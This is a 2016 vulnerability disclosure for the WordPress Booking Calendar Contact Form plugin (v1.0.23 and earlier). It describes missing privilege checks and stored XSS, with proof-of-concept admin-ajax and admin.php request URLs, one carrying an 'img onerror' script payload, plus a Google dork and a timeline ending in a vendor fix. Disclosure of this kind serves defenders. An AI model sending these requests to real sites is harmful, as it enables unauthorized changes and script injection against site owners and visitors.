# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Privilege escalation / stored XSS vulnerabilities # Date: 2016-02-08 # Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form # Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ] # Vendor Homepage: http://wordpress.dwbooster.com/ # Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form # Version: 1.0.23 # Tested on: windows 10 + firefox. ============== Description ============== Create a booking form with a reservation calendar or a classic contact form, connected to a PayPal payment button. With the **Booking Calendar Contact Form** you can create a **classic contact form** or a **booking form with a reservation calendar**, connected to a PayPal payment button. The reservation calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates. The **reservation calendar** is an optional item, so it can be disabled to create a **general purpose contact form**. There are two types of bookings available in the calendar configuration: full day bookings or partial day bookings. With full day bookings the whole day is blocked / reserved while in partial day bookings the start and end dates are partially blocked as used for example in **room/hotel bookings**. =================== Technical details =================== Booking calendar contact form plugin for wordpress is prone to multiple privilege escalation and stored XSS vulnerabilities because does not verify if a user that make a request for update the plugin options, add or delete a ´season price´ and add/delete/update an item to booking list is a privileged user and does not sanitize the supplied information. An authenticated user can exploit these vulnerabilities. ================== Proof of concept ================== 1) Add a ´season price´ with XSS Payload in parameter ´price´. http:////wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data&dex_bccf=loadseasonprices &add=1&dex_item=1&price=%3E%22%3Cimg%20src=x%20onerror=alert(/u_r_owned/)%3E%22%3C&dfrom=&dto 2) Delete a ´season price´ with specified ´code´ http:////wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data &dex_bccf=loadseasonprices&delete=1&code=1 3) Own a calendars if you have an account like ´suscriptor´ role and inject a XSS payload into ´name parameter´: http:////wp-admin/admin.php?page=dex_bccf.php&u=&public=1&owner=1&name= 4) Update charset of booking calendar tables: http:////wp-admin/admin.php?page=dex_bccf.php&ac=st&chs= 5) Delete a booking calendar item if you are logged in as suscriptor: http://localhost/wordpress/wp-admin/admin.php?page=dex_bccf.php&cal=1&list=1&ld= 6) Unrestricted update options / stored XSS in some parameters ( PoC html ) ========== CREDITS ========== Vulnerability discovered by: Joaquin Ramirez Martinez [i0 security-lab] joaquin.ramirez.mtz.lab[at]gmail[dot]com https://www.facebook.com/I0-security-lab-524954460988147/ https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q ======== TIMELINE ======== 2016-02-01 vulnerability discovered 2016-02-05 reported to vendor 2016-02-08 released fixed plugin v1.0.24 2016-02-08 public disclosure